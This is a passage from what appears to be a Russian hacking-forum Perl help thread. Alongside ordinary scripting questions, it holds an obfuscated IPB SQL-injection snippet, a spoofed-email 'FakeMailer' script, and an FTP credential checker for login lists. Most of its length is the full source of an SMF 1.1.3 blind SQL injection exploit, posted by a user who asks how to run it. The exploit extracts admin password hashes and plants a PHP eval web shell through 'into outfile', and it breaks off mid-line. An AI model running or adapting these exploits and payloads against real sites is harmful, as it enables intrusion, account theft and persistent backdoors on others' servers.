З.Ы З.Ы З.Ы
Всем спасибо. Разобрался почему не работал должным образом скрипт. Все дело в неправильном (несвоевременном ) закрытии file2(должен закрываться внутри первого цикла.Как впрочем и открываться).
DarkMist
20.12.2008, 00:34
[dei] -> если
ppm> install "IO::Socket::SSL"
Error: No valid repositories:
Error: 500 Can't connect to ppm.ActiveState.com:80 (Bad hostname 'ppm.ActiveState.com')
Error: 500 Can't connect to ppm.ActiveState.com:80 (Bad hostname 'ppm.ActiveState.com')
а если :
....\IO-Socket-SSL-1.18>perl Makefile.PL
то пишет:
WARNING No library for handling international domain names found.
It will work but croak if you try to verify an international name against
a certificate.It's recommended to install either Net::IDN::Encode or Net::LibIDN
Warning: prerequisite Net::SSLeay 1.21 not found.
Writing Makefile for IO::Socket::SSL
или
.........\IO-Socket-INET6-2.56>perl Makefile.PL
Warning: prerequisite Socket6 0.12 not found.
Writing Makefile for IO::Socket::INET6
короче чем глубже , в лес тем толще партизаны(((
помогите !! может где есть перл уже со всеми либами или выложите кто нить свой ....
джентельменский набор ))) заранее благодарен
DarkMist, с офф сайта скачат послед. версию
потом:
пуск - виполнить - cmd - ppm
и там напиши: IO
вибери модуль Socket::SSL и установи..
constanta
20.12.2008, 04:39
Да я вообще не понимаю в чем проблема? пользуйся cpan да и все. Там есть все что нужно и даже больше. Для ppm еще репозитории искать нужно , а в cpan все есть.
constanta
23.12.2008, 00:11
Здравствуйте народ. В очередной раз обращаюсь к вам за помощью.
Такой вопрос : Есть текстовый файл (большого объема) в текстовом файле скрипт находит по шаблону определенное слово и выводит строку с этим словом.
Внимание вопрос !
Как сделать так что бы вместо одной строки скрипт выводил тестовый блок в котором присутствует эта строка ?
Например: есть шаблон dddddd
В текстовом файле есть блок с таким текстом
[Предыдущий блок который опять же нам не нужны ]
Это блок который нам нужен
c искомым нами шаблоном
dddddddddddd
ну и еще там что написано
[IP:ххх.ххх.ххх.ххх.ххх ]
[Дальше начинается следующий блок который нам не нужен]
Задача вывести вот этот блок :
Это блок который нам нужен
c искомым нами шаблоном
dddddddddddd
ну и еще там что написано
[IP:ххх.ххх.ххх.ххх.ххх ]
Прошу ответить на мой пост.
P.S. Не против за дельный совет дать чуток вмз.
constanta, чтобы сделать что-то подобное, нужно сначала определиться, каким образом выделяются блоки текста, в которых надо найти слово по шаблону.(будет ли это перенос строки, тег или какой-то спецсимвол).
Затем все просто:
1) ищешь начало и конец блока текста (первого или очередного), выделяешь=запоминаешь его.
2) в выделенном блоке ищешь слово по шаблону, если нашел выводишь блок.
3) переходишь к 1-му пункту.
Если есть вопросы, пиши.
Если проблемы с выделением блока текста, давай пример текста, поможем.
скажите плз для версии IPB в сплоите "exploit" написанно это ,как это расшифровать или понять что это
$pass_hash1 = "%*36%*36%*36%2527%20%*4F%*52%20%28%*69%*64%3D";
$pass_hash2 = "%20%*41%*4E%*44%20%*61%*73%*63%*69%*69%28%*73%*75% *62%*73%*74%*72%*69%*6E%*67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
вообщем как пишутся такие хеши на перле...
когда нужно указывать line а когда print, а то вроде и то и то подходит а когда пишу line не всегда работает?
не совсем понятно что за линия? ты сказал?
я хотел только узнать как пишется и от чего это берётся новерно юникодом каким-то и что там написанно в этих юникодах мож брут какой.
or1, это я не тебе писал)
Вопрос вот такой вот,где можно скачать Перл,чтоб в него были включены как можно более нужные библиотеки,которые используються в сплойтах,и в подобном По....А то чтото искал,ниче не подходет :)
Качаешь
http://www.activestate.com/Products/activeperl/index.mhtml
Если нет какого-то модуля, пишешь в консоли ppm, добавляешь в настройках репозитории и там ищешь.
http://www.bribes.org/perl/ppm/package.xml
http://trouchelle.com/ppm10/package.xml
http://cpan.uwinnipeg.ca/PPMPackages/10xx/package.xml
Если уж и там не находит, то cpan тебе в помощь.
кроме LWP и IO:Socket сплоиты ничего не ипользуют как правило, а эти модули в любом стандартном дистре
Приветсвую всех!
Возник такой вопрос (уже не первый раз сталкиваюсь)
Передается Post запрос, я его перехватываю, выглядит примерно так:
siski=%CF%F0%E8%E2%E5%F2
где %CF%F0%E8%E2%E5%F2 слово "кольцо".
Передаю через Perl точно такой же запрос, вместо слова "кольцо" у меня вылазит:
%CF%F0%E8%E2%E5%F2
Если тупо пишу слово на ру, то оно передается в виде иероглифов :)
Использую модуль LWP, в чем проблема господа и дамы? :)
P.S. всех с прошедшим!
Если тупо пишу слово на ру, то оно передается в виде иероглифов
Попробуй типа
use URI::Escape;
А потом uri_escape('слово')
']что за line?
ну када надо выводить в файл
ну када надо выводить в файл
напиши весь скрипт
2 Kaimi. передает %D0%BA%D0%BE%D0%BB%D1%8C%D1%86%D0%BE вместо нужного мне слова...
Тогда объясни точнее что ты получить хочешь?
Хочу передать post запрос с русскими символами. Например со словом "жопа", но вместо этого передаются иероглифы, снифак при "отловке запроса" выдает:
siski=%EA%EE%EB%FC%F6%EE
Я передаю запрос так:
$response=$browser->post($keyurl,
[ "siski" => "жопа", ]);
Нашел выход! Когда передаешь номер какого-то ascii символа - все ок!
Т.е. буква "ы" chr(251);
Как преобразовывать слова?
Например со словом "жопа", но вместо этого передаются иероглифы
Кодировка передаваемого текста и кодировка сайта должны совпадать.
Если ты иероглифами называешь текст после урленкода, то юзай сокеты и формируй запрос сам.
Нашел выход! Когда передаешь номер какого-то ascii символа - все ок!
Т.е. буква "ы" chr(251);
Как преобразовывать слова?
@text = unpack("C*", "test");
print @text;
']напиши весь скрипт
вот
open(DAT, "test1.txt") || die("error1!");
@data=<DAT>;
close(DAT);
open(FILE, ">>test2.txt") || die("error2!");
foreach $line (@data)
{
my($a,$b) = split(/:/, $line);
print FILE "$a:$b\n";
}
close(FILE);
вот
open(DAT, "test1.txt") || die("error1!");
@data=<DAT>;
close(DAT);
open(FILE, ">>test2.txt") || die("error2!");
foreach $line (@data)
{
my($a,$b) = split(/:/, $line);
print FILE "$a:$b\n";
}
close(FILE);
нууу.. эээ... line это ж переменная а print оператор ыы
open(DAT, "< test1.txt") || die("error1!");
@data=<DAT>;
close(DAT);
open(FILE, ">> test2.txt") || die("error2!");
foreach my $line (@data)
{
my($a,$b) = split(':', $line);
print FILE "$a:$b\n";
}
close(FILE);
']
open(DAT, "< test1.txt") || die("error1!");
@data=<DAT>;
close(DAT);
open(FILE, ">> test2.txt") || die("error2!");
foreach my $line (@data)
{
my($a,$b) = split(':', $line);
print FILE "$a:$b\n";
}
close(FILE);
open F, '<', 'file1.txt' or die $!;
open G, '>>', 'file2.txt' or die $!;
print G $_ while <F>;
close F; close G
xDD
perl -F':' -ane 'print @F' test.txt | tee -a parse.txt
n3squ1k666
03.01.2009, 02:32
извините конечно за тупой вопрос, но КАК использовать перл скрипт?????
ставь active perl -- погугли для скачки
создаешь файл с расширением .pl - это будет скрипт
птом или кликай два раза по нем и выстави задержку на гашение
или пуск - выполнить - cmd и там уже путь к скрипту и запускай
Есть файл
wqrwqretret
idiot:1
neidiot:2
dgdfbfcgdfgdfg
idiot:3
neidiot:5
asfsafsdf
и т.д.
Мну хочет вытащить инфу после idiot и neidiot и записать в файл в виде
1:2
1:2
1:2
и т.п.
значитс грузится этот текст в массив @array
Потом с помощью foreach перебирается каждый елемент, если в строке $_ найдено idiot или neidiot, то записывается в переменную, дальше мне нужно если оба эти элемента присутсвуют вывести их, но тут то и загвоздка, ведь присутсвует только один элемент...Вообщем код:
foreach(@array) {
chomp($_);
if($_=~m/регулярка/ig) { $idiot=$_}
if($_=~m/регулярка/ig) { $neidiot=$_}
}
Все свои бредовые идейки потер ибо не получается :)
Всем привет! Всех с новым годом! Помогите с литературой по перл? пхп освоил теперь вот хочу перл освоить помогите!!
Потом с помощью foreach перебирается каждый елемент, если в строке $_ найдено idiot или neidiot, то записывается в переменную, дальше мне нужно если оба эти элемента присутсвуют вывести их, но тут то и загвоздка, ведь присутсвует только один элемент...Вообщем код:
Ты отчеты пинча на логины и пароли парсить пытаешься что ли?
насчет литературы:
можешь читать ченить типо perl за 24 часа и потом уже по неообходимости инфу добывать в нете или perl доке по модулям различным и фичам
или читай сразу большие и толстые книги у Кристиансона хорошие
Я советую вот эту почитать .
Perl. Специальный справочник
Всё очень хорошо описано...
Помогите с многопточностью
use LWP::Simple;
use strict;
use threads;
use threads::shared;
my $start : shared=20;
my $finish : shared=100;
my $potok=5;
my @tred;
for (my $i=0;$i<=$potok;$i++) {
$tred[$i]=threads->create(\&pars,$start,$finish);
print "$i create\n";
}
my $last=$#tred;
for (my $x=0;$x<=$last;$x++){
$tred[$x]->join;
}
sub pars {
my $start=$_[0];
my $finish=$_[1];
while ($start < $finish){
my $url="url/$start/";
print "Search on URL: $url\n";
my $response=get $url;
$start++;
}
Каждая нить выполняет один и тот же запрос, т.е. я поставил 5 потоков и у меня вместо:
1,2,3,4,5
Выполняется
1,1,1,1,1,2,2,2,2,2....
Подскажите поажлуйста как исправить :)
use LWP::Simple;
use strict;
use threads;
use threads::shared;
my $start : shared=1;
my $finish : shared=10;
my $potok=5;
my @trl;
for(0..$potok-1) {$trl[$_] = threads->create(\&pars);}
for(@trl) { $_->join; }
sub pars {
while ($start <= $finish) {
my $url = undef;
{lock($start); $url ="url/$start/"; ++$start;}
print "Search on URL: $url\n";
my $response=get $url;
}
}
Теперь он очень быстро получает странички (Выводит на стдоут search on url: блаблабла
и тут начинает висеть (даже когда 5 потоков) + ничего не пишет в файл, минуты через 3 развисает и едет дальше...
Таск менеджер показывает бездействие системы 98%!!
my $start : shared=20;
my $finish : shared=100;
my $potok=5;
my @trl;
for(0..$potok-1) {$trl[$_] = threads->create(\&pars);}
for(@trl) { $_->join; }
sub pars {
while ($start <= $finish){
my $url=undef;
{lock($start); $url ="url/$start/"; ++$start;}
print "Search on URL: $url\n";
my $response=get $url;
my @massiv=$response=~m/регулярка/ig;
open(TEXT,">>text.txt");
foreach (@massiv) { print TEXT $_ . "\n"; }
}
}
С вопросом который выше - разобрался(проблема была в дедике)), но у меня такое ощущение ... то что парсер не пашет или пашет не правильно :( Он качает 100 страниц, а парсит из них только 1! Потом опять 100, парсит одну.
Код выше.
подскажите плз где найти можно Encoding and Decoding для перла ,
Encoding and Decoding URLs via perl (including decimal to hex conversion)
описание:
http://glennf.com/writing/hexadecimal.url.encoding.html
or, обусификация? О_О или регулярные выражения? что то я тебя не понял :(
есть же вообще Encoding and Decoding URLs via perl "перла "или нет так почему такая статья существует ,прочетать можно тут и вообще не надо отвечать я сам разобрался
Encoding and Decoding URLs via perl (including decimal to hex conversion)
http://glennf.com/writing/hexadecimal.url.encoding.html
Как подключить модуль к Perl не устанавливая его?
Проблема с Curl, в скрипте:
use WWW::Curl::easy;
Качаю Curl с cpan ( curl.pm) в ту же папку где скрипт и заменяю строчку
use WWW::Curl::easy;
на
use Curl;
но выдает ашипку:
Can't locate loadable object for module WWW::Curl in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.0 /usr/local/share/perl/5.10.0 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at Curl.pm line 12
BEGIN failed--compilation aborted at Curl.pm line 12.
Compilation failed in require at Client.pm line 4.
BEGIN failed--compilation aborted at Client.pm line 4.
Compilation failed in require at xxx.pl line 9.
BEGIN failed--compilation aborted at xxx.pl line 9.
Как пропавить?
P.S. устанавливать модуль нельзя :(
Качаю Curl с cpan ( curl.pm) в ту же папку где скрипт и заменяю строчку
А папка со скриптом в списке @INC есть?)
устанавливать модуль нельзя
А чё так?
P.S. Зачем вообще этот модуль тебе?
Обьясняю ситуацию, пишу скрипт автореггер, к нему нужно прикрутить антикапчу, скрипт антикапчи использует cURL, мой скрипт будет запускатся на множестве дедиков, на каждый ставить курл - нет желания.
Kaimi как правильно добавить папку?
Как вообще поставить cURL ? вообще ни как не хочет ставиться :(
помогите плиз написать скрипт который бы удалял половину строки после символа ; включая его самого и складывал бы результат в отдельный файл, я вот сам попробовал но чета не так получается:
open(DAT, "gnu1.txt") || die("error1!");
@data=<DAT>;
close(DAT);
open(FILE, ">>gnu2.txt") || die("error2!");
foreach $line (@data)
{
my($a,$b) = split(/;/, $line);
print FILE "$a;$b\n";
}
close(FILE);
Попробуй
open(DAT, "<gnu1.txt") || die $!;
@data=<DAT>;
close(DAT);
open(FILE, ">>gnu2.txt") || die $!;
foreach(@data)
{
$_=~ /(.+);/ ? print FILE $1."\n" : ();
}
close(FILE);
помогите плиз написать скрипт который бы удалял половину строки после символа ; включая его самого и складывал бы результат в отдельный файл..
$ cat test.txt
line1;aaaaa
line2;bbbbbb
line3;ccc
line4;dddd
$ perl -ne '/(.+)(;.+)(?{ print "$1;${\substr($2,int length($2)\/2)}\n" })/' file.txt
line1;aaa
line2;bbbb
line3;cc
line4;ddd
$
zeppe1in
10.01.2009, 01:58
тема такая в читаем из бинарного фаила 4 ре байта.
read BINFILE, $x, 4;
байты такие 96 02 00 00
из них нужно получить
00000296
а потом в десятичную систему
662
как сделать? что то у меня с унпаком и принтф ни чо не выходит.
Попробуй
open(DAT, "<gnu1.txt") || die $!;
@data=<DAT>;
close(DAT);
open(FILE, ">>gnu2.txt") || die $!;
foreach(@data)
{
$_=~ /(.+);/ ? print FILE $1."\n" : ();
}
close(FILE);
Сорри я не совсем так выразил то что хотел, я имел в виду что должно удаляться все то что стот перед знаком ; включая его самого.
Ну замени регулярку на $_=~ /;(.+)/
Сорри я не совсем так выразил то что хотел, я имел в виду что должно удаляться все то что стот перед знаком ; включая его самого.
$ cat file
line1;aaaaa
line2;bbbbbb
line3;ccc
line4;dddd
line5
$ perl -F\; -nae 'print $F[1]||$F[0]' file
aaaaa
bbbbbb
ccc
dddd
line5
$
constanta
11.01.2009, 16:46
Доброго времени суток вам.
Вопрос такой:
Есть Файл большого размера. Он загоняется в массив а потом с массивом производятся различные действия.
ВНИМАНИЕ ВОПРОС -- КАК МОЖНО СЧИТАТЬ ЕГО ПО ЧАСТЯМ ? (допустим по 2 мб)
Или же каким образом можно ускорить процесс обработки файла ?
brasco2k
11.01.2009, 16:48
Доброго времени суток вам.
Вопрос такой:
Есть Файл большого размера. Он загоняется в массив а потом с массивом производятся различные действия.
ВНИМАНИЕ ВОПРОС -- КАК МОЖНО СЧИТАТЬ ЕГО ПО ЧАСТЯМ ? (допустим по 2 мб)
Или же каким образом можно ускорить процесс обработки файла ?
простой массив + fgets помогут.
В перле нету функции fgets)
Pashkela
11.01.2009, 17:18
$var1 = <>; # Прочитать одну строку файла
@var1 = <>; # Прочитать все строки файла в массив @var1
zeppe1in
11.01.2009, 17:18
constanta
read FILEHANDLE,SCALAR,LENGTH,OFFSET Считывает LENGTH байт данных из FILEHANDLE в переменную SCALAR. Возвращает число считанных байт или неопределенное значение в случае ошибки.
также
seek FILEHANDLE, POSITION, WHENCE Позволяет установить курсор в файле, определенном в переменной FILEHANDLE, на позицию POSITION в режиме, указанном в переменной WHENCE. Если переменная WHENCE содержит значение 0, то позиция отсчитывается от начала файла, если 1 то от текущей позиции и если 2, то от конца файла. Возвращает 1 в случае успеха и 0 иначе.
constanta
11.01.2009, 17:18
Предложите какой то вариант. Ну не может же быть такого что бы в perl не было решения такого вопроса. НУ Очень надо).
constanta, можешь попробовать прочитать его с помощью read(). Хотя не факт что это будет быстрее. Вообще посмотри на CPAN, там наверняка что-то есть по этому поводу!
PS. IO::File, например.
Pashkela
11.01.2009, 17:34
open(TEST, $filename) || die "Can't open file\n";
while (<TEST>)
{
@a[$i] = $_;
chomp @a[$i];
$i++;
}
close (TEST);
чонить в этом роде
или так (но скорее всего это уже для небольших файлов, потести в общем):
open(TEST, $filename) || die "Can't open file\n";
@Mass = <TEST>;
close (TEST);
kak zapistit exploiti na active perl?
scylla, как и любой другой perl файл:
(Если все стоит по дефолту)
C:\Perl\bin\perl.exe exploit.pl
constanta
open (SRC, "<file.txt");
Read:
while(<SRC>) {
push @mas, $_;
last if @mas > 1000;
}
....
тут действия с массивом
....
goto Read
если размер массива больше 1000, произваодится выход из цикла while
чет закалебался гуглить) скрипту передаются параметры. один из них урл. но ему не нравится знак "&" в урле) как сделать?)
Pashkela
15.01.2009, 22:09
замени на %26
помогите написать генератор такого вида
цифры;цифры/буквы(англ)
-_-
А в чем собственно проблема?
Цифра
int(rand(10000000))
Буква
@a = ('a'..'Z');
$a[rand scalar @a]
А дальше делай функцию под себя
зачем скобки?
Затем что нравится
на перле можно написать распознаватель капчи?
если да то какими операторами?
на перле можно написать распознаватель капчи?
если да то какими операторами?
http://www.php.net/manual/en/function.imagesetpixel.php
В перле тоже самое
ребята у кого -нить есть исходники сниффака на перле скиньте плз.
Pashkela
23.01.2009, 04:39
http://forum.antichat.ru/thread69171.html
Здесь был очень глупый пост. Извиняюсь :D
Приветсвую всех!
Написал простенький фтп чекер, хочу прикрутить к нему socks5, помогите пожалуйста! В доках не нашел никакой информации :(
#! /usr/bin/perl
use warnings;
use Net::FTP;
open(ALL,"list.txt");@all=<ALL>;close(ALL);
open(GOOD,">>good.txt");open(BAD,">>bad.txt");
foreach (@_){
$zap=$_;
$_=~s/ftp:\/\///ig;
($pair,$host)=split("\@",$_);chomp($host);
($user,$passwd)=split(":",$pair);chomp($user,$passwd);
unless ($ftp=Net::FTP->new($host,Debug=>0,Timeout=>5)) { print BAD $zap;} else {
if($ftp->login($user,$passwd)){ print GOOD $zap} else { print BAD $zap}}
}}
$p01nt, если ты хочешь реализовать чекер с возможностью работы через socks5, то скорее всего тебе придется самому реализовывать работу с протоколом FTP (без Net::FTP). попробуй Net::SOCKS или IO::Socket::Socks
biophreak
30.01.2009, 12:34
$p01nt, значит так...если ты хочешь сделать без использования лишних модулей, пример работы с SOCKS5 на перле(это сокс чекер, в нем есть примеры коннектов через сокс4\сокс5 к гуглу, думаю поймешь): http://phreak.org.ru/sc.txt
Привет всем как мне тут изменить строчки эти
..........................
print $ sock "GET / fm.php? vittima =". $ Vitt. "&tuam=" .$tuam. "& Tuam =". $ Tuam. "&sogg=" .$obj. "& sogg =". $ obj. "&mess=$mess HTTP/1.1\n";
------------------------------------------------------------------
на эти возможно ли это сделать?
id=" .&password=. "&rid=".$&ver= html HTTP /1.1\n";
####################################
а вот сам скрипт
,,,,,,,,,,,,,,,,,,,,,,,,,
#!/usr/bin/perl
#Powered By
# .___ .__.__
# __| _/_______ _|__| | _____ __ _________ ____ ____
# / __ |/ __ \ \/ / | | \__ \ | | \_ __ \/ _ \ / \
# / /_/ \ ___/\ /| | |__ / __ \| | /| | \( <_> ) | \
# \____ |\___ >\_/ |__|____/ (____ /____/ |__| \____/|___| /
# \/ \/ \/ \/
#
# www.devilsnight.altervista.org
#
use Tk;
use IO::Socket::INET;
$mw=MainWindow->new(-background=>"black");
$mw->minsize(230,130);
$mw->Label(-text=>"FakeMailer Powered By DevilAuron:",
-background=>"black",
-foreground=>"white")
->pack(-anchor=>"n");
$mw->Label(-text=>"Inserisci Mail Vittima",
-background=>"black",
-foreground=>"orange")
->pack(-anchor=>"s");
$mw->Entry(-textvariable=>\$vitt)
->pack(-anchor=>"s");
$mw->Label(-text=>"Inserisci Mittente Falso:",
-background=>"black",
-foreground=>"orange")
->pack(-anchor=>"s");
$mw->Entry(-textvariable=>\$tuam)
->pack(-anchor=>"s");
$mw->Label(-text=>"Inserisci Oggetto:",
-background=>"black",
-foreground=>"orange")
->pack(-anchor=>"s");
$mw->Entry(-textvariable=>\$obj)
->pack(-anchor=>"s");
$mw->Label(-text=>"Inserisci Messaggio:",
-background=>"black",
-foreground=>"orange")
->pack(-anchor=>"s");
$mw->Entry(-textvariable=>\$mess)
->pack(-anchor=>"s");
$mw->Button(-text=>"Invia",
-background=>"black",
-foreground=>"orange",
-activebackground=>"orange",
-activeforeground=>"black",
-command=>sub{
$sock = IO::Socket::INET->new(
PeerAddr => 'www.eliakwu.altervista.org',
PeerPort => '80',
PeerProt => 'tcp',
Timeout => '1'
) || die "\n=>Error: Retry\n";
print $sock "GET /fm.php?vittima=" .$vitt. "&tuam=" .$tuam. "&sogg=" .$obj. "&mess=$mess HTTP/1.1\n";
print $sock "Host: www.eliakwu.altervista.org\n";
print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\n\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
print $sock "Accept-Language: en-us,en;q=0.5\n\n";
print $sock "Accept-Encoding: gzip,deflate\n\n";
print $sock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n\n";
print $sock "Keep-Alive: 300\n\n";
print $sock "Connection: keep-alive\n\n";
@res = <$sock>;
close($sock);
$sw=MainWindow->new(-background=>"black");
$sw -> Label(-text=>"Mail Inviata!\n Powered By DevilAuron - http://devilsnight.altervista.org",
-background=>"black",
-foreground=>"orange")->pack;
})->pack(-anchor=>"s");
MainLoop;
#Bye..
А в чем проблема? Просто вставь их! Или тебе надо значения этих параметров вводить из формы?
когда я встовляю их ,пишет ошибкa линия 86 т.е. и показывает типо oшибка где -то в кавычках "."
-------------------------------------------------------------------------
вот эту строку хотел заменить
room.php?id=&password=&ver=html
Если ты будешь вставлять это: id=" .&password=. "&rid=".$&ver= html HTTP /1.1\n";
то конечно получишь ошибку в кавычках.
Вся строка будет выглядеть вот так:
"GET /fm.php?vittima=" .$vitt. "&tuam=" .$tuam. "&sogg=" .$obj. "&mess=".$mess ."id=".$id."&password=".$passwd."&rid=".$rid."&ver=".$ver."HTTP /1.1\n";
если нужны переменные
и так:
"GET /fm.php?vittima=" .$vitt. "&tuam=" .$tuam. "&sogg=" .$obj. "&mess=".$mess ."id=&password=&rid="&ver=html HTTP /1.1\n";
без переменных
print $sock "GET /room.php?id=&password=&ver=html HTTP /1.1\n\n";
Вот это надо получить? Отправка get-ом на страницу room.php параметров id пустым, password пустым и ver значение html?
Ребят, подскажите функцию которая строку переводит из такого вида:
13 в 0x3133 (hex если не ошибаюсь).
print $sock "GET /room.php?id=&password=&ver=html HTTP /1.1\n\n";
Вот это надо получить? Отправка get-ом на страницу room.php параметров id пустым, password пустым и ver значение html?
------------------------------------------------------------------
а вот хотел тебя еще раз спросить ,конечно в том случае если ты конечно запускал этот скрипт
что за слова эти тебе они не знакомы?
вроде как не на русском и не англиском
inicirisci Mail Viltima
inicirisc Mitento Falso
inicirisc Messaggio
Ребят, подскажите функцию которая строку переводит из такого вида:
13 в 0x3133 (hex если не ошибаюсь).
может это не самое красивое решение:
sub hexstring($)
{
my @bytes = shift =~ /(.)/g;
my $result = '0x';
foreach(@bytes)
{
$result .= sprintf "%02X", ord($_);
}
return $result;
}
biophreak
08.02.2009, 01:02
sub hexstring
{
return '0x'.unpack('H*',shift);
}
Как-то так
Блин,комрады,помогите експлоит заюзать.Я чтото невкурю как его точно юзать :(
Вот сам эксплоит,но кк юзануть - xz. Тоесть perl.exe 1.pl -p pass и т.д. каким именно должен буть запрос на запуск?
#!/usr/bin/perl
#Written By Michael Brooks
#contact: th3(dot)r00k(at)gmail(dot)com
#SMF 1.1.3 Extremely fast Blind SQL Injection Exploit!
# -Binary Search
# -Multi-Threaded
# -NO benchmark()'s
#
#Two SQL Injection flaws.
#Works with magic_quotes_gpc=On or Off.
#Total Bypass of SMF's SQL Injection filter.
#I submitted a patch for these flaws:
#http://www.simplemachines.org/community/index.php?topic=196380.0
#I would like to thank RetroGod for being so skilled and willing to help me out.
#**Warning** perl will somtimes seg fault when useing threads.
#Tested Under Linux
use LWP::UserAgent;
use threads;
use Thread::Semaphore;
#global variables
my $threads=1;
my $semaphore = new Thread::Semaphore;
my $globPos : shared=1;
my $oper : shared;
my @result : shared;
my $target;
my $cookie=false;
$type="sleep";
main();#execute main
sub main{
$n=$threads;
$u=$p=$b=1;
$start_time=time;
$e=1;
#Process arguments passed by the command line.
for($v=0;$v<=$#ARGV;$v++){
if(substr($ARGV[$v],0,1) eq '-'){
$var=substr($ARGV[$v],1);
$$var=$ARGV[$v+1];
}
}
@t=split('\?',$t);
@t=split('index.php',@t[0]);
$target=@t[0];
if(index($target,"/",length($target)-1)==-1){
$target=$target.'/';
}
if($e!=1){
print "\nExample:\n";
print "\nbrooks@TheLab:~/code/exploits\$ ./smf_blind_sql.pl -p -u admin -t http://127.0.0.1/smf_1-1-3/index.php -n 4 -c SMFCookie218=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3B i%3A1%3Bs%3A40%3A%22091feddbd31bfa96932a5e4e6c34cb 36f2686c1a%22%3Bi%3A2%3Bi%3A1378168836%3Bi%3A3%3Bi %3A1%3B%7D
\n\nSMF Is Vulnerable!
Finding Password Hash for the Name: 'admin'
Please Standby...
Password Hash:
1d94709528bb1c83d08f3088d4043f4742891f4f
This attack used 161 HTTP requests and took 8 seconds to complete.
EOF\n\n";
die();
}
$cookie=$c;
$user=$u;
if($n != 1){
$threads=$n;
}
#Check to make sure the target is vulnerable
if($b!=1||$p!=1){
$vulnerable=1;
#Yes I am assuming the default table prefix, its a shame you can't access information_schema.
#No prefix is needed for the non-cookie attack becase I do not need a union select or sub-select!
bin_finder(2,1,"1","smf_members","and 1!=1");
if(int(@result[0])!=0){
$vulnerable=0;
}
$globPos=1;
bin_finder(2,1,"1","smf_members","and 1=1");
if(int(@result[0])!=1){
$vulnerable=0;
}
if($vulnerable==1){
print "SMF Is Vulnerable!\n"
}else{
print "\nATTACK FAILED!\n\n";
if($cookie){
print "Try sending a private message to your self or SMF might be patched.\n"
}else{
print "The non-cookie attack requires MySQL 5 so try using the exploit with -c or SMF might be patched.\n"
}
die();
}
}
$m=0;
if($p!=1){
if($user != 1){
print "Finding Password Hash for the Name: '$user'\n Please Standby...\n";
for(my $x=0;$x<$threads;$x++){
#@threads[$x]=new threads \&bin_finder,16,40,"(conv(SUBSTRING(passwd,%s,1),16,10))=%s", "smf_members"," and memberName = '".$user."'";
@threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and memberName =". hex_encode($user);
}
for(my $x=0;$x<$threads;$x++){
@threads[$x]->join;
}
print "\nPassword Hash:\n";
foreach $y (@result){
print sprintf("%x",$y);
}
}else{#
print "Finding An Administrative Credental.\n Please Standby...\n";
#bin_finder(128 ,1,"count(memberName)","smf_members"," and ID_GROUP=1 ");#single thread
#$admin_count=@result[0];
#$globPos=1;
#print "There are $admin_count admins on this forum.\n";
#for($a=0;$a<$admin_count;$a++){
for(my $x=0;$x<$threads;$x++){
@threads[$x]=new threads \&bin_finder,16,40,"conv(SUBSTRING(passwd,%s,1),16,10)", "smf_members"," and ID_MEMBER=1 ";
}
for(my $x=0;$x<$threads;$x++){
@threads[$x]->join;
}
print "\nPassword Hash:\n";
foreach $y (@result){
print sprintf("%x",$y);
}
$globPos=1;
bin_finder(256,1,"char_length(memberName)","smf_members"," and ID_MEMBER=1 ");#single thread
$name_len=@result[0];
$globPos=1;
for($x=0;$x<$threads;$x++){
@threads[$x]=new threads \&bin_finder,128,$name_len,"ASCII(SUBSTRING(memberName,%s,1))", "smf_members"," and ID_MEMBER=1 ";
}
for($x=0;$x<$threads;$x++){
@threads[$x]->join;
}
print "\nName:\n";
for($l=0;$l<=$name_len;$l++){
print sprintf("%c",@result[$l]);
}
print "\n";
@result=null;
$globPos=1;
#}
}
}elsif($b!=1){
if(!$cookie){
die("\nA cookie is needed for this attack!\n");
}
print "Determining the exact path to place the backdoor. \n Please standby...\n";
bin_finder(512,1,"char_length(value)","smf_settings"," and variable = 'attachmentUploadDir'");#single thread
$length=@result[0];
$globPos=1;
for(my $x=0;$x<$threads;$x++){
@threads[$x]=new threads \&bin_finder,128,$length,"ASCII(SUBSTRING(value,%s,1))", "smf_settings"," and variable = 'attachmentUploadDir'";
}
for(my $x=0;$x<$threads;$x++){
@threads[$x]->join;
}
$path='';
print "Path Disclosed:";
foreach $y (@result){
$path.=sprintf("%c" ,$y);
}
print $path."\n";
#$path=~s/_/?/g;#This accounts for the search request being modfied by SMF.
#$path=~s/%/*/g;
$r=rand();#Random file name so the attack will succeed multiple times against the same target.
my $ua = LWP::UserAgent->new;
$ua->agent("Firebird");
$ua->default_header("Cookie"=>$cookie);#Its tricky to get double quotes for the outfile statement.
$load="\\,union select ".hex_encode("<?php eval(\$_GET[e]);?>").' into outfile "","'.$path.'/'.$r.'.php",""#';
$tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"ID_PM%7Cdesc","submit"=>"Search"]);
$oper++;
print "\nEval Backdoor:\n".$target."attachments/".$r.".php?e=phpinfo();\n"
}else{
$m=1;
print "A Very Fast Blind Sql Injection Exploit for SMF 1.1.3.\n\n";
print "-p obtain passwords (if used without -u, then an admin credential will be obtained)\n";
print "-b installs a backdoor using 'into outfile'. (requires -c) **WARNING** SMF will log this as a single 'Hacking Attempt'!\n";
print "-t target\n";
print "-c A valid cookie(Much faster attack)\n";
print "\nAditional:\n";
print "-u obtains the password for a user name\n";
print "-n number of threads\n";
print "-e Shows an Example.\n";
print "The password hash is generated as:\n";
print "sha1(strtolower($username) . $password);\n\n";
}
if($m!=1){
$t=time-$start_time;
print "\nThis attack used $oper HTTP requests and took $t seconds to complete.";
print "\nEOF\n";
}
}
#Takes complex input to build the request, returns a simple bool.
sub bin_ask{
my $if = shift;
my $table=shift;
my $where = shift;
my $ua = shift;
my $f=0;
if(!$cookie){
#no union select or sub-select needed for this attack!
$a=time();
#die($where);
#$where="and realName = ".hex_encode("admin");
$load="\"\\\",\" or (IF(".$if.",sleep(10),1) $where) limit 1,1 #\"";
